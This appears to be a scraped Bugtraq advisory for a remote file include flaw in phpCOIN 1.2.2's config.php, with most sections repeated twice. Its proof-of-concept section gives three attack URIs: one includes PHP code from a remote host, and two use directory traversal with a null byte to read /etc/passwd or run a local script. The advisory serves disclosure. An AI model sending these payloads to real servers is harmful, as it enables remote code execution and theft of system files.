PHPCoin Config.PHP File Include Vulnerability
BID:15831
Info
PHPCoin Config.PHP File Include Vulnerability
| Bugtraq ID: | 15831 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 13 2005 12:00AM |
| Updated: | Dec 13 2005 12:00AM |
| Credit: | [email protected] is credited with the discovery of this vulnerability. |
| Vulnerable: |
phpCOIN phpCOIN 1.2.2 |
| Not Vulnerable: | |
Discussion
PHPCoin Config.PHP File Include Vulnerability
PhpCOIN is prone to a file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker can exploit this issue to include arbitrary remote PHP code and execute it in the context of the Web server process. The attacker can also exploit this issue to include arbitrary local files through the use of directory traversal strings '../'.
Successful exploitation may lead to a compromise of the underlying system; other attacks are also possible.
PhpCOIN is prone to a file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker can exploit this issue to include arbitrary remote PHP code and execute it in the context of the Web server process. The attacker can also exploit this issue to include arbitrary local files through the use of directory traversal strings '../'.
Successful exploitation may lead to a compromise of the underlying system; other attacks are also possible.
Exploit / POC
PHPCoin Config.PHP File Include Vulnerability
No exploit is required.
Example URI and a proof of concept exploit are available:
http://www.example.com/[path]/config.php?_CCFG[_PKG_PATH_DBSE]=http://www.example.com
http://www.example.com/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../etc/passwd%00
http://www.example.com/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../script.php%00
No exploit is required.
Example URI and a proof of concept exploit are available:
http://www.example.com/[path]/config.php?_CCFG[_PKG_PATH_DBSE]=http://www.example.com
http://www.example.com/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../etc/passwd%00
http://www.example.com/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../script.php%00
Solution / Fix
PHPCoin Config.PHP File Include Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
PHPCoin Config.PHP File Include Vulnerability
References:
References: